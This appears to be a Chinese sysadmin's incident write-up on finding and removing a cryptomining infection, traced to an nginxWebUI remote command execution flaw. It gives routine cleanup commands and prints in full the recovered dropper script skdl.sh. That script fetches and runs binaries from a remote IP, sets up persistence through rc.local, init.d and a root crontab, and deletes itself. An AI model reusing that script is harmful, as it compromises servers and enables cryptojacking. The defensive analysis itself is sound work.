一、背景
我们收到一个阿里云安全告警,内容是服务器可能存在挖矿程序。
二、杀死挖矿程序
2.1 找到可疑服务器进程
#1.输入top命令,输入shift + P会按照cpu的使用率大小从大到小进行排序,cpu使用率高的就是可疑进程。 top #2.查看运行该进程的命令 ps -ef | grep PID |
2.2 进入该进程运行目录
#1.查看进程运行目录 pwdx PID #2.进入目录 cd dir |
相关命令
命令 | 说明 |
---|---|
readlink /proc/pid/exe | /proc/pid/exe文件是一个符号链接文件,它的内容是一个指向当前进程可执行文件的绝对路径的符号链接。 |
readlink /proc/pid/cwd | 在Linux系统中,每个进程都有一个/proc/pid/cwd文件,它是一个符号链接文件,指向当前进程的工作目录。 |
2.3 杀死该进程
sudo kill -9 pid |
2.4 删除挖矿进程文件
#1.查看进程运行目录 pwdx PID #2.进入目录 cd dir #3.查看最近两天修改的文件 find . -type f -mtime -2 |
经过上述步骤,我们找到一个可疑脚本skdl.sh,该内容如下
#!/bin/bash cd /var/run;wget -O localn http://20.239.92.233/localn;curl -o localn http://20.239.92.233/localn;chmod +x /var/run/localn cd /mnt;wget -O localn http://20.239.92.233/localn;curl -o localn http://20.239.92.233/localn;chmod +x /mnt/localn cd /;wget -O systemn http://20.239.92.233/systemn;curl -o systemn http://20.239.92.233/systemn;chmod +x /systemn chmod +x /etc/rc.d/rc.local chmod +x /etc/init.d/network chmod +x /etc/crontab echo "/var/run/localn &" >> /etc/rc.d/rc.local if [ ! -f "/etc/init.d/network" ]; thenecho "sh /mnt/localn" | tee /etc/init.d/networkchmod +x /etc/init.d/network elsesed -i '15i sh /mnt/localn' /etc/init.d/network fi echo "* * * * * /systemn &" >> /var/spool/cron/root files="x86_64 mips mpsl arm arm5 arm6 arm7 m68k sh4 ppc aarch64" cd /tmp for file in $files dowget http://20.239.92.233/skl.$filewget http://20.239.92.233/skl.$file -O skl.$filechmod +x skl.$file./skl.$file $file done rm -rf $0 |
删除脚本
sudo rm -rf skdl.sh |
2.5 查看是否存在非法任务
#1.查看定时任务列表 crontab -l #2.如果出现可疑定时任务,就注释掉 crontab -e #3.查看开机自启动的内容,如果有可疑内容就注释掉 cat /etc/rc.local |
三、分析该挖矿程序出现的原因
3.1 查看用户登录日志
#查看用户登录日志 last |
相关命令
命令 | 说明 |
---|---|
cat /var/log/secure | 查看ssh登录日志 |
nmap localhost | 查看打开的端口 |
用户登录日志如下,并无任何异常
3.2 查看nginxWebUI日志
可疑脚本的位置在/data/nginxWebUI这个目录下,所以我怀疑是攻击者通过nginxWebUI的漏洞来远程执行命令。
通过查看日志,发现有一个可疑的地址,基本确定是nginxWebUI的漏洞。
通过百度发现确实存在漏洞,nginxWebUI <= 3.5.0 会存在远程命令执行漏洞,链接:https://zhuanlan.zhihu.com/p/640316810